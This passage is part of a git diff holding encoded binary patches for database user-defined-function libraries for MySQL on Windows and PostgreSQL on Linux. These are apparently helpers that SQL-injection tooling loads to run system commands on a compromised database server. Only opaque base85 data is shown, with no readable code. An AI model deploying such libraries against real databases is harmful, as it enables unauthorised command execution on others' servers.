z^7B=in>nCW!q>lo{$nRPBPCMz?vyTGvuX$gSuN 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 jU2-t0hW4}%u;1e?)Q=8(#McOcrCrFK literal 4549 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 diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index 33a7adbe0c5aac30cfce5fb2328ab75893282d0b..97799b69d4d90f2a7cf04830079c57360a746cc5 100644 GIT binary patch literal 5267 zcmV;E6m07~s+wvW4m&f3_SqO>P3uGVGkeKs(#?z-4OB`|d{So5JXTwJn+`TJ8|EcI zBMT{Pcxq`3{sq}t8gpxt1_Gk3BwX7fb|O5`$Mk%*mTJfXY=`>Ab0?uC5IwyxXrchxjW z1LAn4350V=jWth)_-5fZOi>>aE@ep=pwVLi)OSell=01>{ZxAF(dTaE?ZXPG+wcDDs#?OG0<4IUIc$ z2`AZ{b|c2vMz~5>lsNL2Wkl*R5`k}ts5}n9!@V2+mR{6v@Pj4G<}?)RG{*qwB=yTW zzTHGJL(G~XzPt6*&B%ovJ?%hrO&g2!Zpz7I>1?9viFc9bIaOrCCjkF8Ha}E?4ZlPG zgqSVE&4n|uIH-6W@_RCD)lVa> zhkP5jCdg%k>^lBAN$(=;i3fb#Cy2n`o*eru9v(kz>IzSU_D@`+Tp!=-bWKGVD%c6B zxBhdej?U8R4fF~A%`57_&&R9gk#L>gSH8Q0+L{*Bsg1O)^Y3{aoHwoZrV;AjlVk=K zH++jBB8l~wrcODYO{YVk$EX@sH5bxZBgu^cvKe$tz6|V=hN!EU{vC=U-E$pU6jXcv zP9f@mVqrx-P&-OIjqN%W|6LZ-AS>iZ4w(E%5O0xfHC?Tq{5Tw_aY_$0KE+ni@I;@S zEnk=l=O<%ZLOC!vbt$LTy;i4_T`@i=?nPsL?ap$lV5bMp>DA1Uz!k3vdcf9NvaU0$ z!QVLhh0{rBpCb_jGOk=nQ zdQg$kjl2bPq4BA#_|Urrk955A|4c`NkEV%FFuJNn=Yy3J5&|Vx>mH3Jb zoBLZT(JzMbuibMyCGQk+#*L95Xld#jnMac>lAy4d0ORMXR2Wj z$&HVneEg`kHsv+Z0*~b+J`C%eEK0Hr($rFSswc}OOL3ozCDwYPE@=IRC8KRwYSS{7 zn6nt{3TbY*7A2NZ^82bqos}SUmOtP8BfkGDpXEQQ(;3h!TQMtuco4W{D5=8o`R#Cq z>rrEJXr!wQZRGjFA}l>XjvVi}w2}?}bG83%Cd%EZ3-!4fn~v@Fxn#P{g^BT-KDp0Vx5Z~s~a#RyTbd&$~*p!#In*F9!Fj)^LQ;* z(V1Xu!zq65px^(vS)vn1VG@!?mj2s(YCeIoQ9J(F7q#;ch(e-@5FkpX64kAQM+Nvz zaps2b?H*wg2ajECO&92=E9?;9T$ zYcC2cq}YaQ=?8txF^ZLy|FXq`!94c1YlB#h9y(WYYwUWnOaYlPMIJw;E7*~;`+yjGp;G;2-FVb=ky?Kje!m-uRfcvUFpB)Dap1>o- zH&$tLEdR-)q)|bdw=vi-k?^=2ZHtYPch?40VjPvBnF9$P>#G1l8BM-T?gut<8H#$7B2}O$(drXccz1cQoR= zU1DSvE!ERa#+#BWH)*a~-^8+_*JH>Zmr07ra-VwfQG^M*YiHa*BA<5*PW|3UaoJ;B zaLpndRQJZK=q4VVk{sY`yCz!%h>wp_S0fI4Bchcl5 zvI`F!vpxtgV%8ah--w6W1{2b5`!65nBozC$_1Y1i4L7r$8ygzNFcCP@zb-TTUjYlLV+Y7 zt1DL0TIxv}d!|#5j4584el2_D{cb%bSfQ@+0@lyG&I>(2g#rkg`lj@IJEdh)cFS{L@j3j^g;|bYZr}n9G zru@^R7p8NpIuWh)ybA2Atj&L?%7hZPvh>m++aaTg5ts1uk>E z>$#sgyGT&|pUMY5o?a*u)Db^RA6fjuKt$fzo3KIXZ6bByQx-c(@s7(UAH{(06~KM~ zpK^&*3hDexV$coJb0h$9xv?pg`RaYScHPgK@f2K;)6}fjROKmv@9^=x?qLiT$`xiF z%F>M{*VF$rM`|)dxRRmd;cRdQresHMsBh!-p1%=1*Yu$6tZ;j;9ine1t%jaOXK%=q zk!qAGyHFa)xwY-saILG{vemzq^6go*yTyLl*xvI3o-2^~(UgVPtN2Z$_^tzi4knr_ z<=~%}1V$~C3{7};7A+yoSh%H=q^ui-usAM^PQ&FXR6-k55rOB802=GCOYnKq$gVZX z2@wt4MlNNEM|s1`uX}91v6rRntF%HNtvU6l{sOu1BL$jDwh3@r@_TZbMNWx`w`T|6 z7+5MEFp|~rk4$UpEV3TmD<7i!6vn%vSj@F~uMfNtkL{}4C<45>h56xq%3+mRGr4%E zlhx>RTOqhc1yQY*_jlQPqzv;%t^2~J1l)RomPEl`Qn>Y^v)t;CwHoURyJ<}W) z{hM?)XVDnayytKADI$Eb3%G%*k{SSg-w1F<3s#X56}{gE9Zh{{`v6cj#pXTsqT%;M zGa;afLw)-QfcGl6 z#8zMM{JuyCfv61o(E=S18?wZ2a^>)X*=tFm7{HuD$j*A~xes%#v8{)rEHThvDTM=y z6;01?MRH?IUP>hHL4*}zXG%JQ`g*ht->A6)K#nKtXJui9e$-G1er=@gxQhy@5UGx5 zHK8}yOA2X{+W{C^?U+QSMDLB*`{yz8J0xh_)Ny6dE;h{}di9ayYL$a}4}EC1TQda1 zg37A=OP(iq!cSq1aO^n2i9=ua=Ef)W(kD&D-Oc!ex)3i+SWqr~QWcTNwg1x_l2;^K z`$_3;EpKCWUs+K@QM#^QW={}@F9yo3<}?3YsV_scS!#c*nn&)p=#A=u?zl|!R2~7$ zWlEi%C5z&o1|P0(`L#=))Q9V)ZHDu9?XhhKEjfVjikhZsQKm&RVr4SPv33_pEs@(w zC92pR23`G&Xv5QCGp{@?SM-rt8)-5Ip6=BghpGR=^q#ZoSulzTyQ`K}B^4#23;_j< z;f}CGj!dOL#v#OZ)~&Y1Do=rq7C6+!u_$5wgUCh6T1|TKC*o&#rGd80g{N3cVVp z>@Rh=e)FCI*YgLuRz@0?Y?`gFcJDiFBMhbeh`{s^eP%c5rCMYDK-X#vJffHZa~r1? z?4SU8a)^=Yq~AjCHUxUc`___VvkiOK9=PTA3+$>JtwGL5L(Xa<7`R4qA?8t^Tiq;} zDOa0=1h6;h>Wgt2+$E1+$RFnmfXMxi;+^t)+DcNER@5nU#5$Q*G(9C6fAyK|*eM2M zrnn_`{V+`;Jlv-%)p6Bo|0X|6+J6w6F7GAhtM5!)Zw?BFX$MbIf_)mfnjk=c5c*&X zmrc#nKn5_I9^K+1K+&0LP__zYZps#y;|hu2ic7Pz*{z;S=Z%h7JzP#VXO%?HWJV1V zv>HFMtTF8ZjqAL&jm~vdD@Fd+9)WmsbIW5DGs)f=G8j|q2w}L9J+ihzkdL*&+;`t^ z=nL1(nhysXbEz1d4v1{)K)NUQGVG>W@Ez8@rY@^l) zcY&;<4+ouXFVr^h;}zfBWC8?g6N06=e(cDt@Qv4Fw3kM;a^#Xy_mn{th0@i$CjBSWF()Xt!H@j0XR>=%me65Nung zTGh2^2iku-mnS{0+dOvW4%cdE{9X$Ur(0&!nTgXzdAQ3&;zOj)fM$|2uWY$X)&UMZ z^qTlr8t|xhkWG`6T8~mg0c3Fczrc?_%6B<)Ib}*=fgy)|`T^%DUqq^k8&A zsf`~hkhIiQY%hsckuqf0^NJ-yFZ5^vJI_4;T({uQVWB(j=z4_g8nRqRaeNELWd91N z>4s@~uXgmtkS65tpGE|Vw!)uU!nk!&3QH@#Ih@Fz_cuz?@6pzoG(w0Y$t41I%+DwA z!2xFRuk-LXkewf9$8IAkfX zA6F|V4Py_;^ep>l32I0>CjdgWFx2zlkBJDq^4yI^IdHI0iBJNSF<3sCnzYsWDm0P7 zf!A5mAfS_C4QFLJOa4#JU&XQT;uJ3bK^fhcy-YXKSdnM5a-_DuF;>VgUyVB46;Hu>t#=aA9DysGoToUg3M z!=Gdswl*v&@Vwd^y5x6FhNp1}EKYHfrsqoQ(RE1Yo90rv+#uWwMNnJ|$JiQjh@?GMUFwg9@YH87KPB1}6e2aeF2f;R zd#fWXO(!&~-DE~)jKvl}ixBQSh@bxeYO6 zmv&ZA2QX}!oTe>it5Z89tQEn!#2V@Vb!9VOt-D(QHE$ zxw{35qY}Gr=Ed8_1ZccE$cmTkeD6R!Hd{bJ{{VqVYtwJ;b4QsfNM3l+!iHi03OPHX zB54C)Ak?+0%Ptq&jP84S0G=b36(3nv4GyfBWmjNklg}(3P`G;bY$TU@UGa$IfNgOR z!F`|C&(7Z+cWS!KZ|e&n3`2w?LZ;@!}Imsc0V zM(uVa;|$n4Klh@xw{TV>QcMIkT>@Yg=|Sd1D>{K>n%uLi>?+pW%xNA92 ZlGPi|X_W;Jf=4LM^t`H+R!3m}*r}hYE&%`l literal 5267 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 ZsPGle5w#>PtwK4Q_nnufY+`Qzpov^FKI;Gg diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ index f7e6da36499b5a9f2b660df902fc8f4faaee8fdb..33dbdeeb35bc711bd555536cba564cdbf2705663 100644 GIT binary patch literal 2639 zcmV-V3b6G(s+tQ4CVP`5_s{?s=@`mKGJlE!NF^6iN@G=XL|?&@F6Wa?$m7%%0tC~? z-DL^}T~+cbEAO62)x(+ z9V`SZtV_9>@-Y#u9*FazM}WNF?b7=M-j24a9cvsHMrL@5k+2Zv66Dt(|KXo7niy+T z2F(yMaOk;vbF=sl-KPR?9J`=OE7F4h#T8)|zmrt&$UPF 